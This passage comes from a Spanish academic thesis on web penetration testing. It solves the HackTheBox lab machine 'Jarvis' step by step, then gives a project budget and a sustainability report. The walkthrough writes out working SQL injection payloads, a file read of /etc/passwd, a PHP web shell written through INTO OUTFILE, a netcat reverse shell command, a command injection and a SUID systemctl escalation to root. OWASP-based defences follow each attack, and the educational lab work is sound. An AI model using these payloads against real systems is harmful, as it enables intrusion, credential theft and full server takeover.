
método ORDER BY, que consiste en ir incrementando el número hasta que se obtenga una 

respuesta Falsa. 

 

 
Ilustración 47: Método ORDER BY "Jarvis" 

Ahora que sabemos el nombre de columnas, podemos recuperar el nombre de todas las 

bases de datos, los nombres de las tablas de cada base de datos y los nombres de las 

columnas de cada tabla. Para ello utilizaremos los siguientes comandos: 

1. #Database names 
2. -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM 

information_schema.schemata 

3.   
4. #Tables of a database 
5. -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM 

information_schema.tables wHeRe table_schema=[database] 

6.   
7. #Column names 
8. -1' UniOn 

Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM 

information_schema.columns wHeRe table_name=[table name] 

Tras ejecutarlos, obtenemos la siguiente información: 

 

Los nombres de las bases de datos: hotel, information_schema, mysql y 

performance_schema. 

 

 
Ilustración 48: Respuesta con los nombres de las bases de datos 
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Los nombres de las tablas de la base de datos “hotel”: room 

 

 
Ilustración 49: Respuesta con el nombre de la tabla de la base de datos "hotel" 

 

Las columnas de la tabla “room”: cod, name, price, descrip, star, image y mini. 

 

 
Ilustración 50: Respuesta con los nombres de las columnas de la tabla "room" 

 

8.5 Protección contra SQL Injection 
Según OWASP, [25] evitar fallas de inyección de SQL es simple. Los desarrolladores 

deben:  

 

- Dejar de escribir consultas dinámicas con concatenación de cadenas. 

- Evitar que la entrada proporcionada por el usuario que contiene SQL malicioso 

afecte la lógica de la consulta ejecutada. 

 

Existen varias técnicas sencillas para prevenir las vulnerabilidades de SQL Injection al 

evitar estos dos problemas. Estas técnicas se pueden utilizar con prácticamente cualquier 

tipo de lenguaje de programación y con cualquier tipo de base de datos. Nosotros 

veremos la más conocida y usada. 

 

El uso de “Prepared Statements” es la forma en que todos los desarrolladores deberían 

escribir consultas de bases de datos. Son fáciles de escribir y más fáciles de entender que 

las consultas dinámicas. Las consultas parametrizadas obligan al desarrollador a definir 

primero todo el código SQL y luego pasar cada parámetro a la consulta posterior. Este 

estilo de codificación permite que la base de datos distinga entre código y datos, 

independientemente de la entrada del usuario. 

 

Los Prepared Statements garantizan que un atacante no pueda cambiar la intención de 

una consulta, incluso si un atacante inserta comandos SQL. Por ejemplo, si un atacante 

ingresara el ID de usuario de tom' or '1'='1, la consulta parametrizada no sería vulnerable 

y en su lugar buscaría un nombre de usuario que literalmente coincidiera con la cadena 

completa tom' or '1'='1. 
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Ilustración 51: Ejemplo en Java de Prepared Statement 

 

9 Vulnerabilidad Local File Inclusion 

9.1 ¿Qué es? 
Según OWASP [26], la inclusión de archivos locales (también conocida como LFI) es el 

proceso de incluir archivos que ya están presentes localmente en el servidor, mediante la 

explotación de procedimientos de inclusión vulnerables implementados en la aplicación. 

Esta vulnerabilidad ocurre, por ejemplo, cuando una página recibe, como entrada, la ruta 

al archivo que debe incluirse y esta entrada no se sanea adecuadamente, lo que permite 

que se inyecten caracteres transversales de directorio (como punto-punto-barra). 

Aunque la mayoría de ejemplos apuntan a scripts PHP vulnerables, debemos tener en 

cuenta que también es común en otras tecnologías como JSP, ASP y otras. 

 

Esto puede conducir a algo como la salida del contenido del archivo, pero dependiendo 

de la gravedad, también puede conducir a: 

 

- Ejecución de código en el servidor web 

- Ejecución de código en el lado del cliente, como JavaScript, que puede dar lugar a 

otros ataques, como secuencias de comandos entre sitios (XSS) 

- Denegación de servicio (DoS) 

- Divulgación de información confidencial 

 

9.2 Contexto en la máquina 
Nos encontramos en la máquina “Jarvis”. Hemos descubierto una vulnerabilidad SQL 

Injection a partir de una URL sospechosa y vamos a comprobar si nos puede devolver 

archivos locales. 

 

9.3 Detección de vulnerabilidades: LFI 
Para leer archivos locales a través de la URL, como nos explican en [27], se necesita 

utilizar la función LOAD_FILE. Sin embargo, solo se puede utilizar cuando se cumplen las 

dos condiciones siguientes: 

 

1. Permiso de archivo: chmod a + r pathtofile 

2. Tamaño del archivo: debe ser más pequeño que max_allowed_packet 
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El siguiente comando usa LOAD_FILE para obtener información confidencial del sistema: 

SELECT LOAD_FILE ('/etc/hosts') 

 

Aquí podemos pensar en lo que podemos hacer, es decir, leer algunos archivos 

confidenciales. No obstante, también hay restricciones: 

 

1. El usuario debe tener permiso para leer y el archivo debe ser completamente legible. 

 

2. Los archivos a leer deben estar en el servidor 

 

3. Se debe especificar la ruta completa del archivo. 

 

4. El archivo a leer debe ser más pequeño que max_allowed_packet 

 

9.4 Explotación de vulnerabilidades: LFI 
Veamos pues, de qué manera podemos leer los archivos locales del servidor. 

 

Partimos de una query que nos devuelve 7 columnas, como hemos visto en el apartado 

8.4, y tenemos que introducir en cualquiera de los campos el comando load_file. El 

resultado será algo parecido a: 

1. http://10.10.10.143/room.php?cod=-1 UniOn Select 
1,2,load_file('/etc/passwd'),4,5,6,7 

Una vez lo lancemos, podemos observar el archivo /etc/passwd en la respuesta de la 

propia web. 

 
Ilustración 52: Respuesta /etc/passwd mediante LFI 
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También podemos hacer lo mismo para otros archivos como ‘/etc/group’, ‘/etc/shadow’ 

o ‘/etc/hosts’. 

  

9.5 Protección contra LFI 
Según OWASP [26], la solución más efectiva para eliminar las vulnerabilidades de 

inclusión de archivos es evitar pasar la entrada enviada por el usuario a cualquier API de 

sistema de archivos/marco.  

 

Si esto no es posible, la aplicación puede mantener una lista de archivos permitidos, que 

puede incluir la página, y luego usar un identificador (por ejemplo, el número de índice) 

para acceder al archivo seleccionado. Cualquier solicitud que contenga un identificador 

no válido debe rechazarse, de esta manera no hay superficie de ataque para que los 

usuarios maliciosos manipulen la ruta. 

 

10 Vulnerabilidad RCE 

10.1  ¿Qué es? 
Basándonos en [28], la ejecución remota de código es una de las vulnerabilidades más 

críticas que se pueden encontrar en una aplicación. Es fatal tanto para la aplicación 

como para los usuarios, ya que permite la ejecución de código malicioso en el servidor 

de la aplicación. 

 

RCE es causado por atacantes que crean código malicioso y lo inyectan en el servidor a 

través de puntos de entrada. El servidor, sin saberlo, ejecuta los comandos, y esto permite 

que un atacante obtenga acceso al sistema entre otras cosas como: 

 

- Agregar, leer, modificar, eliminar archivos 

- Cambiar privilegios de acceso 

- Activar y desactivar configuraciones y servicios 

- Comunicarse con otros servidores 

 

Esto puede resultar parecido a la vulnerabilidad de tipo Command Injection, sin embargo, 

no son del todo iguales. 

 

Según OWASP, [29] la inyección de código se diferencia de la inyección de comandos en 

que un atacante solo está limitado por la funcionalidad del propio lenguaje inyectado. Si 

un atacante puede inyectar código PHP en una aplicación y ejecutarlo, solo está limitado 

por lo que PHP es capaz de hacer. La inyección de comandos consiste en aprovechar el 

código existente para ejecutar comandos, generalmente dentro del contexto de un shell. 

 



 

56 

10.2  Contexto en la máquina 
Nos encontramos en la máquina “Jarvis”. Hemos descubierto una vulnerabilidad SQL 

Injection a través de una URL sospechosa y ahora sabemos que también es susceptible a 

Local file inclusion. 

 

10.3  Detección de vulnerabilidades: RCE 
Para comprobar que la aplicación sea vulnerable a RCE, tenemos que averiguar si 

podemos escribir en un archivo. Para ello deberemos tener permiso de escritura en el 

lugar donde se encuentran los archivos del servidor, que suele ser ‘/var/www/html’. 

 

Haremos una prueba y si funciona, pasaremos a explotar la vulnerabilidad para conseguir 

una consola remota en nuestro equipo. 

 

Para ello utilizaremos la siguiente URL maliciosa: 

1. http://10.10.10.143/room.php?cod=-1 UniOn Select 1,2,"esto es 
una prueba",4,5,6,7 into outfile '/var/www/html/probando.txt' 

Si ahora buscamos el recurso “probando.txt” en la dirección de la página web, obtenemos 

lo siguiente: 

 

 
Ilustración 53: Archivo "probando.txt" "Jarvis" 

Ha funcionado, ahora probemos a cambiar la extensión del archivo por una php y en vez 

de un texto de prueba introduzcamos el siguiente código: 

1. <?php system('whoami'); ?> 

Al buscar el archivo resultante de la misma manera que antes obtenemos lo siguiente: 

 

 
Ilustración 54: Archivo "probando.php" "Jarvis" 
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Como podemos comprobar, se ha interpretado el texto que hemos colocado en php por 

parte del servidor. A continuación, veremos de qué forma se puede explotar esto para 

ganar acceso al servidor mediante una reverse Shell. 

 

10.4  Explotación de vulnerabilidades: RCE 
Ahora que hemos comprobado que la aplicación es vulnerable a Remote Code Execution, 

cambiaremos el contenido del fichero que subiremos al servidor por el siguiente código 

extraído de [30]: 

1. <?php system($_GET['c']); ?> 

De esta manera, controlando el parámetro “c” a través de la URL, podremos ir ejecutando 

comandos en el servidor. 

 

La URL completa que utilizaremos será: 

1. http://10.10.10.143/room.php?cod=-1 UniOn Select 1,2,” <?php 
system($_GET['c']); ?>”, 4,5,6,7 into outfile 

'/var/www/html/vulnerable.php' 

Así pues, si le damos un valor al parámetro c = whoami, el resultado será: 

 

 
Ilustración 55: Resultado de whoami con archivo vulnerable.php "Jarvis" 

Ahora bien, si lo que queremos es ganar acceso a la máquina, una opción es introducir un 

comando que nos devuelva una reverse Shell a uno de los puertos de nuestro equipo que 

permanezca en escucha. 

 

Una muy buena herramienta a tener en cuenta al momento de necesitar establecer una 

reverse Shell es [31]. En ella encontramos el comando que utilizaremos para enviar la 

Shell: 

1. nc -e /bin/sh 10.0.0.1 1234 

Donde 10.0.0.1 deberá ser la IP donde queremos que se envíe la reverse Shell y 1234 es 

el puerto por el que se recibirá. 

 

Al enviar la petición al servidor mediante la URL y tener el puerto 1234 en escucha en 

nuestro equipo ocurre lo siguiente: 
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Ilustración 56: Reverse Shell mediante RCE "Jarvis" 

 

 

10.5  Protección contra RCE 
OWASP no nos ofrece información muy concreta para evitar este tipo de vulnerabilidad. 

Siguiendo otras fuentes [32], obtenemos los siguientes consejos: 

 

Para empezar, se debe evitar el uso del input del usuario dentro del código evaluado. La 

mejor opción sería evitar por completo el uso de funciones como eval. Se considera una 

forma de mala práctica y se puede evitar fácilmente. También se recomienda que nunca 

se permita que un usuario edite el contenido de los archivos que pueden haber sido 

analizados por el lenguaje de programación en cuestión. A menudo, esto incluye permitir 

que un usuario cree el nombre y las extensiones de archivo que desea cargar o crear en 

la aplicación web. 

 

Estas son algunas de las cosas que no debes hacer para evitar ataques basados en RCE: 

 

- Desinfectar la entrada del usuario. A menudo, esto es difícil de lograr porque hay 

una gran cantidad de derivaciones y restricciones preinstaladas. 

- Dejar que un usuario decida o cree la extensión o el contenido de los archivos que 

se utilizarán en el servidor web. Él / ella tiene que usar muchas prácticas seguras 

al manejar la carga de archivos o arriesgarse a que la información vital caiga en las 

manos equivocadas. 

- Pasar cualquier entrada controlada por el usuario a las devoluciones de llamada 

del sistema o funciones de evaluación 

- Crear una lista negra activa de caracteres especiales o nombres de funciones. Esto 

debe evitarse al igual que desinfectar la entrada del usuario. Pero es 

increíblemente difícil de implementar. 
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Podemos encontrar consejos similares en [28]. Aunque algo diferente que añaden es que 

la aplicación oportuna de parches o la instalación de actualizaciones de software es una 

medida preventiva esencial. 

 

11 Vulnerabilidad Broken Access Control 

11.1  ¿Qué es? 
Según Owasp [33], El control de acceso aplica una política tal que los usuarios no pueden 

actuar fuera de sus permisos previstos. Las fallas generalmente conducen a la 

divulgación, modificación o destrucción no autorizada de todos los datos o a la realización 

de una función fuera de los límites del usuario. Las vulnerabilidades comunes de control 

de acceso incluyen, entre otros, la Elevación de privilegio, que consiste en actuar como 

usuario sin haber iniciado sesión o actuar como administrador cuando se ha iniciado 

sesión como usuario. 

 

Además, [34] añade: 

Dos nombres comunes para dividir las vulnerabilidades de control de acceso en 

categorías son escalada de privilegios horizontales y escalada de privilegios verticales. 

 

Escalada de privilegios horizontales 

 

- se produce cuando un usuario puede realizar una acción o acceder a los datos de 

otro usuario con el mismo nivel de permisos 

 

Escalada de privilegios verticales 

 

- ocurre cuando un usuario puede realizar una acción o acceder a datos que 

requieren un nivel de acceso más allá de su rol 

 

Broken Access Control subió de la 5.ª posición a la 1.ª posición en la lista de las 10 

principales vulnerabilidades de aplicaciones web de OWASP de 2021. Los problemas de 

control de acceso generalmente no son detectables por el escaneo dinámico de 

vulnerabilidades y las herramientas estáticas de revisión de código fuente, ya que 

requieren una comprensión de cómo se usan ciertos datos dentro de la aplicación web. 

La prueba manual es la mejor manera de detectar controles de acceso faltantes o rotos. 

 

11.2  Contexto en la máquina 
Hemos atacado una vulnerabilidad en una aplicación web y nos hemos conseguido enviar 

una reverse Shell a nuestra máquina atacante. Ahora tenemos acceso al servidor, como el 

usuario www-data, en forma de bash completamente operativa. El siguiente paso sería 

elevar nuestros privilegios, ya sea horizontal o verticalmente, ya que conocemos un 

usuario con bash a parte de root gracias a la vulnerabilidad de Local File Inclusion. 



 

60 

 

11.3  Detección de vulnerabilidades: BAC Horizontal 
Haremos algo diferente con esta vulnerabilidad. Dividiremos la sección de detección en 

dos. Una irá dedicada a la escalada de privilegios horizontal, y la otra a la vertical. 

 

Nuestro primer objetivo es detectar una vulnerabilidad por la que podamos, 

potencialmente, hacernos con el control de la cuenta de otro usuario con privilegios 

similares a los nuestros. Este usuario se llama “pepper”. Actualmente nosotros somos el 

usuario www-data, veamos qué información podemos extraer de la lista de comandos 

que nuestro usuario actual puede ejecutar como root, o como otro usuario. Para ello 

utilizamos el comando “sudo -l”. Obtenemos lo siguiente: 

 

 
Ilustración 57: Resultado de sudo -l "Jarvis" 

Ahora sabemos que podemos ejecutar un archivo Python llamado simpler.py como el 

usuario objetivo, pepper. Sospechamos que podemos realizar una command injection 

como en el caso del apartado 6. 

 

11.4  Explotación de vulnerabilidades: BAC Horizontal 
Si iniciamos el programa con “sudo -u pepper” seguido de la dirección, veremos que el 

programa espera un parámetro extra que puede ser h para ayuda, s para estadísticas, l 

para listar y p para hacer un ping a la dirección que especifiquemos. Si probamos con la 

última opción, se nos permite escribir lo que debería ser una dirección IP. Si escribimos 

nuestra dirección IP tal que “10.10.14.3”, podemos observar cómo se ejecuta el comando 

ping y se envían trazas icmp a nuestra máquina. No obstante, si resulta que el input está 

mal sanitizado, podría pasar que se ejecutaran comandos que no corresponderían. Para 

comprobarlo podemos realizar el ping a la misma dirección que antes, pero escribirla de 

otra manera. Por ejemplo: “$(echo 10.10.14.3)”. El resultado es favorable: 

 

 
Ilustración 58: Resultado ping con command injection "Jarvis" 
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Ahora solo nos hace falta escribir un comando que nos devuelva una terminal. De esa 

forma, tendremos una terminal con el usuario pepper y sus privilegios. Si probamos con 

$(/bin/sh -i), nos encontramos que el programa se detiene y nos aparece un mensaje de 

advertencia. Al parecer, el input sí está sanitizado de alguna forma. Si buscamos en el 

código del programa, encontramos una función que actúa de sanitizadora. 

 

 
Ilustración 59: Función sanitizadora "Jarvis" 

Vemos que hay algunos caracteres prohibidos, entre ellos el guion “- “. Es por ello que no 

podemos ejecutar ese comando. Si observamos las diferentes formas de abrir una 

terminal en Linux [35] encontramos que hay una que no utiliza ninguno de los 

parámetros prohibidos. Esa es “echo os.system(‘/bin/bash’)”. Si la probamos, obtenemos 

otro tipo de error, así que mejor descartamos la idea de spawnear una Shell por algún 

conflicto que pueda generar con el programa, y tratamos de enviar una reverse Shell 

como hemos hecho antes. El problema está en que el guion es necesario y no tenemos una 

forma de hacerlo sin él. La solución estará pues, en hacerse un programa a parte que nos 

ejecute la instrucción y llamarlo desde la ejecución del programa con sudo. 

 

 
Ilustración 60: Programa .sh para ejecutar reverse shell "Jarvis" 

Si hacemos todo lo que hemos dicho poniéndonos en escucha por el puerto 1234 de 

nuestra máquina, obtenemos la Shell con el usuario pepper. 

 

 
Ilustración 61: Ejecución de Broken Access Control Horizontal "Jarvis" 
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11.5  Detección de vulnerabilidades: BAC Vertical 
Comencemos ahora con la parte en que elevamos los privilegios de usuario a root o 

administrador. Partimos de una Shell con el usuario “pepper”. Si tratamos de hacer un 

sudo -l, para listar los posibles comandos que se pueden utilizar, se nos pedirá la 

contraseña del usuario en cuestión, y no disponemos de ella. Descartando la idea de sudo, 

podemos probar a mirar los binarios que tienen el bit SUID activado. Para ello, nos 

dirigimos al directorio “/” y ejecutamos el comando: “find \-perm -4000 2>/dev/null”. 

También hay otra versión especificada en el apartado 3.5. 

 

Obtenemos una lista con todos los binarios que se observan a continuación.  

 

 
Ilustración 62: Lista de binarios con bit SUID "Jarvis" 

El binario systemctl es susceptible a explotación para obtener permisos de administrador 

según GTFO Bins. 

 

11.6  Explotación de vulnerabilidades: BAC Vertical 
En la lista de binarios que hemos visto en el apartado anterior, el binario systemctl nos 

puede ofrecer un agujero de seguridad para elevar nuestros privilegios a los de root. La 

explicación la encontramos más en detalle en [36]. Pero se resume en que, si el bit SUID 

está activo, no se perderán los privilegios elevados después de la ejecución y nos 

convertiremos en root. El código que hay que ejecutar es el siguiente, que nos lanza un 

servicio que ejecuta el mismo código que nos enviaba una reverse Shell a la dirección IP 

de nuestra máquina en el puerto 1234: 
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Ilustración 63: Código exploit systemctl bit SUID "Jarvis" 

Si linkeamos el servicio, y después lo ejecutamos estando en escucha en el puerto 

mencioando en nuestra máquina atacante. Recibimos una Shell con privilegios de root. 

 

 
Ilustración 64: Ejecución de Broken Access control Vertical 

 

11.7  Protección contra Broken Access Control 
En casos generales, OWASP nos dice en [37] que es importante seguir algunas directrices 

para evitar controles de acceso rotos. 

 

- Excepto para los recursos públicos, denegar por defecto. 

- Implemente mecanismos de control de acceso una vez y reutilícelos en toda la 

aplicación, incluida la minimización del uso compartido de recursos de origen 

cruzado (CORS). 

- Los controles de acceso al modelo deben imponer la propiedad de los registros en 

lugar de aceptar que el usuario pueda crear, leer, actualizar o eliminar cualquier 

registro. 

- Los modelos de dominio deben hacer cumplir los requisitos de límite comercial de 

aplicaciones únicas. 

- Deshabilite la lista de directorios del servidor web y asegúrese de que los 

metadatos del archivo (p. ej., .git) y los archivos de copia de seguridad no estén 

presentes en las raíces web. 
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- Registrar fallas de control de acceso, alertar a los administradores cuando sea 

apropiado (por ejemplo, fallas repetidas). 

 

- Tasa de límite API y acceso al controlador para minimizar el daño de las 

herramientas de ataque automatizado. 

 

- Los identificadores de sesión con estado deben invalidarse en el servidor después 

de cerrar la sesión. Los tokens JWT sin estado deberían ser de corta duración para 

minimizar la ventana de oportunidad para un atacante. Para los JWT de mayor 

duración, se recomienda encarecidamente seguir los estándares de OAuth para 

revocar el acceso. 

 

Los desarrolladores y el personal de control de calidad deben incluir una unidad de 

control de acceso funcional y pruebas de integración. 

 

En el caso de las dos vulnerabilidades del apartado anterior, en la primera solo haría falta 

añadir los símbolos “$”, “(“y “)” para que no fuera posible escribir comandos perjudiciales 

en el programa. En la segunda, haría falta desactivar el bit SUID del binario systemctl ya 

que puede desencadenar en un control de acceso roto y permitir a un usuario escalar sus 

privilegios verticalmente. 

 

12 Presupuesto 

12.1  Identificación de los costes 
Los costes identificados en este proyecto se clasifican en las siguientes categorías: 

• Personal: Distinguimos entre jefe de proyecto, investigador y pentester. 

• Genéricos: Coste del hardware y el espacio de los trabajadores, de la energía que 

consumen y del software utilizado. 

 

12.2  Estimación de los costes 

12.2.1 Costes de personal 

Para calcular el coste del personal se hará una estimación por horas. En la siguiente tabla 

se puede ver para cada puesto su coste por hora, obtenidos a partir de la empresa de 

reclutamiento Hays. No obstante, le serán aplicados el 30% adicional de la seguridad 

social. 

 

Puesto Coste por hora 

Jefe de proyecto 30€/h 

Investigador 20€/h 

Pentester 20€/h 
Tabla 2: Costes del personal por hora basados en la guía de mercado laboral de Hays. 
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12.2.2 Costes Genéricos 

El trabajo se realizará de lunes a viernes desde casa y durará un total de 5 meses. 

Estimando que los costes mensuales del consumo de energía del equipo usado son 

de 72kW/mes * ~0.55€/kW = 40€, podemos deducir que el coste total del consumo 

de energía se acercará a los 200€. 

 

El coste del entorno de trabajo, es decir: Silla (569€) y escritorio (129€), constituye 

un total de 698€. 

 

A continuación, se especifican los costes del software utilizado en el proyecto. 

• VirtualBox – Al tratarse de un software gratuito no tiene coste. 

• HackTheBox VIP – La suscripción a HackTheBox es necesaria para el acceso a las 

máquinas que vamos a resolver. Para ello y escogiendo la opción más económica 

de 10€/mes, tenemos un coste total de 50€. 

• Gantter – Utilizando el primer mes de prueba se puede completar la primera fase 

de la planificación del proyecto. No obstante, el resto de meses habrá que pagar 

una suscripción de 5€ Por lo que el coste total es de 20€. 

 

 

 

Id Nombre Tiempo 
(h) 

Roles Coste Coste + SS 

GP Gestión del 
proyecto 

161h Jefe 6430€ 8359€ 

GP.1 Definir Alcance 20h Jefe 600€ - 

GP.2 Planificación 15h Jefe 450€ - 

GP.3 Presupuesto 10h Jefe 300€ - 

GP.4 Informe de 
sostenibilidad 

6h Jefe 180€ - 

GP.5 Reuniones 15h Jefe 450€ - 

GP.6 Documentación 80h Jefe,Investigador 4000€ - 

GP.7 Presentación 15h Jefe 450€ - 

TP Trabajo previo 6h Jefe, Pentester 300€ 390€ 

TP.1 Gestión de 
máquina virtual 

3h Jefe, Pentester 150€ - 

TP.2 Gestión cuenta 
HackTheBox 

3h Jefe, Pentester 150€ - 

IH Investigación 
Herramientas 

60h Investigador 1200€ 1560€ 
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IH.1 Nmap 15h Investigador 300€ - 

IH.2 Fuzzing 15h Investigador 300€ - 

IH.3 BurpSuite 15h Investigador 300€ - 

IH.4 Otras herramientas 
útiles 

15h Investigador 300€ - 

RM1 Resolución 
máquina 1 

48h Pentester 960€ 1248€ 

RM1.1 Conexión 1h Pentester 20€ - 

RM1.2 Fase de escaneo 2h Pentester 40€ - 

RM1.3 Detección 
vulnerabilidades 

15h Pentester 300€ - 

RM1.4 Explotación 
vulnerabilidades 

15h Pentester 300€ - 

RM1.5 Protección 
vulnerabilidades 

15h Pentester 300€ - 

RM2 Resolución 
máquina 2 

48h Pentester 960€ 1248€ 

RM2.1 Conexión 1h Pentester 20€ - 

RM2.2 Fase de escaneo 2h Pentester 40€ - 

RM2.3 Detección 
vulnerabilidades 

15h Pentester 300€ - 

RM2.4 Explotación 
vulnerabilidades 

15h Pentester 300€ - 

RM2.5 Protección 
vulnerabilidades 

15h Pentester 300€ - 

- Total 323h - 9850€ 12805€ 
Tabla 3: Tabla de costes para las diferentes tareas y roles. 

 

Software Coste al mes Coste total 

VirtualBox 0€ 0€ 

HackTheBox 10€ 50€ 

Gantter 5€ 40€ 

Total - 90€ 
Tabla 4: Tabla de costes para los diferentes Softwares usados. 

 

Finalmente, queda por calcular el coste del hardware, que será principalmente el del 

ordenador. Para calcular las amortizaciones se calcula el coste por hora teniendo en 

cuenta los 220 días hábiles que tiene un año y unas 8 horas laborables al día. El coste de 

la amortización es entonces: Coste_Hardware/(Vida_Útil * 220 días * 8 horas). El total de 

vida útil que se le suele dar a los dispositivos como un PC es de 4 años. Queda así 

constatado, entonces, el coste del hardware: 

Hardware Precio Vida útil Horas Amortización 

Ordenador 1300€ 4 años 327h 60€ 
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Monitor 139€ 4 años 327h 6€ 

Periféricos 150€ 4 años 327h 7€ 

Total - - - 73€ 
Tabla 5: Tabla de costes y amortización de los dispositivos de hardware usados 

 

12.2.3 Contingencia 
Para asegurar nuestro proyecto es importante añadir un sobrecoste que cubra 

obstáculos e imprevistos. Vista la naturaleza del proyecto, la posibilidad de que esto 

ocurra es relativamente considerable. Es por esto que se fijará un 10% de sobrecoste. 

A continuación, se muestra una tabla con la contingencia asociada a cada tipo de coste. 

Tipo Coste Contingencia 

Entorno 698€ 70€ 

Software 90€ 9€ 

Hardware 73€ 7€ 

Personal 12805€ 1280€ 

Total 13666€ 1366€ 
Tabla 6: Tabla de contingencia del 10% por tipo de coste. 

 

12.2.4 Imprevistos 

Como último punto, se tratan los imprevistos localizados en el apartado de gestión de 

riesgos de la planificación. Para ello, se identificará su coste y el porcentaje de riesgo 

que representan, para obtener así su coste total. 

• El primer imprevisto que localizamos fue la carga de trabajo. Esto implicaría un 

aumento del tiempo de desarrollo que podría llegar a expandirse una semana. Esto 

serían un total de 40 horas de investigador/pentester, que resulta en 800€ en 

ambos casos. Se estima un 10% de probabilidades de que ocurra. 

• Fallo del dispositivo. En caso que falle un componente de hardware se deberá 

obtener uno nuevo. El ordenador es una excepción, pues se puede sustituir por un 

portátil. El porcentaje de riesgo es del 5% para el ordenador y 10% para los demás 

por ser más frágiles y manipulados más directamente. 

 

Imprevisto Coste Riesgo Coste total 

Carga trabajo 800€ 10% 80€ 

Ordenador - 5% - 

Periféricos 150€ 10% 15€ 

Monitor 139€ 10% 14€ 

Total 1089€ - 109€ 
Tabla 7: Tabla de los imprevistos con su riesgo y coste total. 

 

12.2.5 Balance total 
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Para finalizar, mostramos todos los costes del proyecto en una sola tabla a modo de 

resumen. 

Tipo Coste 

Personal 12805€ 

Consumo eléctrico 200€ 

Software 90€ 

Hardware 73€ 

Entorno 698€ 

Contingencia 1366€ 

Imprevistos 109€ 

Total 15341€ 
Tabla 8: Tabla del coste total del proyecto. 

 

12.3  Control de la gestión 
En cuanto al control de la gestión, se determinará mediante las reuniones si se está 

asumiendo el ritmo adecuado del proyecto o no. En caso que no sea así, se tendrán que 

destinar horas extras a retomar la planificación prevista lo antes posible, pero al menos 

el problema será rápidamente detectado y corregido. 

 

Para realizar esto, se utilizarán las tareas designadas en el apartado de planificación y el 

tiempo en horas destinado a cada una. Mediante el diagrama de Gantt podremos 

comprobar el ritmo de nuestro trabajo y detectar cualquier anomalía lo más rápido 

posible. Las horas destinadas a cada tarea ya contaban con un extra de tiempo a medida 

de seguridad. Es por ello que, si se produce un retraso, se pueden restar estas horas extras 

de las siguientes tareas para retomar el ritmo. El presupuesto cuenta también con el plan 

de contingencia, por lo que el salario extra a determinar no debería significar un 

problema. 

 

A continuación, se muestran los indicadores que se utilizarán para determinar si existe o 

no una desviación y para mantener cierto control. 

 

1 Desviaciones en la realización de tareas (en coste): 

(coste estimado – coste real) * consumo horas real  

2 Desviaciones en la realización de tareas (en horas): 

(consumo estimado – consumo real) * coste real  

3 Desviaciones totales en la realización de tareas: 

(coste estimado total – coste real total) 

4 Desviaciones totales de recursos (hardware, software, espacio o personal):  

(coste estimado total – coste real total) 

5 Desviaciones totales de imprevistos: 

(coste estimado imprevistos – coste real imprevistos) 

6 Desviaciones totales de horas: 

(horas estimadas – horas reales) 
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13 Informe de sostenibilidad 
 

13.1  Reflexión 
Tras la realización de la encuesta de autoevaluación del informe de sostenibilidad he 

podido llegar a varias conclusiones. Entre ellas se encuentra la profundidad de la 

sostenibilidad. Y es que no es tan simple como puede parecer a primera vista. La 

sostenibilidad está regida por varias dimensiones: La económica, la social y la ambiental. 

Cada una de ellas con sus matices y sus aspectos a tener en cuenta. La siguiente conclusión 

es la importancia de la sostenibilidad. Ya sabía que este era un aspecto decisivo en un 

proyecto, pero realizar un buen informe de sostenibilidad puede facilitar mucho el resto 

del trabajo, pues se tocan temas que se dan en otras partes del proyecto. Finalmente, la 

infravaloración que se le da a la sostenibilidad. Este tema puede parecer mentira, pero 

no. Normalmente las empresas priorizan sus ganancias que su daño al medio ambiente. 

Esta conducta, aparte de insolidaria, puede llegar a ser temeraria. En conclusión, la 

sostenibilidad es mucho más profunda de lo que parece a simple vista y su importancia 

es mayor de lo que la mayoría de empresas mayormente piensan. 

 

13.2  Dimensión económica 
En el desarrollo del presupuesto se han tenido en cuenta varios factores sostenibles como 

el gasto energético que se producirá con el consumo eléctrico del ordenador y otros 

componentes.  

 

Es importante mantener este tipo de costes en mente, pues la sostenibilidad del proyecto 

es uno de los factores más infravalorados a la hora de organizar un proyecto y el gasto 

energético excesivo, aparte de malo para la sostenibilidad del proyecto, también puede 

ser malo para el medio ambiente como tal. 

 

Al ser el proyecto, principalmente, un trabajo de investigación, no existen tantos factores 

que puedan interferir en la dimensión económica, aun así, el sueldo de los trabajadores 

también era algo a tener en cuenta y es por ello que se ha aplicado la cuota de la seguridad 

social. De esta manera podemos identificar rápidamente el coste total a pagar. 

 

13.3  Dimensión social 
En cuanto a la dimensión social de este proyecto, nos encontramos con algunas formas 

en que este proyecto podía ayudar a ciertas empresas a replantear su sistema de 

seguridad y a concienciar de la importancia de este. Recordemos que el mundo se mueve 

por el capital, y si hay formas rápidas y eficaces de conseguirlo, para algunas personas la 

ética carece de importancia. Los cibercriminales están ahí, es decisión de las empresas si 

defenderse o no de ellos con todo lo posible. Este trabajo informa de como una auditoría 

puede detectar vulnerabilidades letales a tiempo. La concienciación es muy importante 
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para el ámbito social y es algo que pretende hacer este trabajo ya no solo para las 

empresas sino también para los propios consumidores de sus servicios, que, se pueden 

ver envueltos en ello. 

 

13.4  Dimensión ambiental 
Para la dimensión ambiental se deben tener en cuenta el aspecto físico y energético del 

proyecto. Qué hardware se ha usado y de dónde viene pueden ser unas preguntas muy 

factibles. No obstante, la respuesta no delega la responsabilidad en mi persona, pues el 

hardware viene de donde lo compra todo el mundo. No hay alternativa viable más eco-

friendly para comprar un ordenador que por internet en tu página de confianza. Lo que sí 

que podemos controlar es cada cuanto compramos uno, que gasto energético realizamos, 

que uso le damos, etc. Es por ello que se intenta dar el máximo de vida útil a los productos 

de hardware en este proyecto y se reduce el consumo al justo y necesario para realizar 

las diferentes tareas. 

 

 

 

14 Conclusiones 
 

El número de ciberataques crece año tras año y constituye un peligro cada vez mayor 

para las empresas y usuarios de Internet. En este trabajo, hemos podido observar cómo 

se realizan algunos de los ataques más conocidos y críticos sobre aplicaciones web, pero 

también existen una gran cantidad de vulnerabilidades en las redes y sistemas de las 

compañías. Lo que hemos tratado no es más que la punta del iceberg y es importante 

tener en cuenta los peligros que puede ocasionar un sistema mal protegido. El trabajo de 

pentester, complementado con el de analista de seguridad se vuelve cada vez más 

necesario y vital para la correcta gestión de ciberamenazas. 

 

La conclusión de este trabajo era, también, entender de qué forma actúa un cibercriminal 

cuando ataca una aplicación web en búsqueda de vulnerabilidades. Hemos podido 

concluir que, a pesar de seguir cierta metodología, las vulnerabilidades encontradas y 

explotadas han resultado diferentes en cada caso. Esta búsqueda de agujeros de 

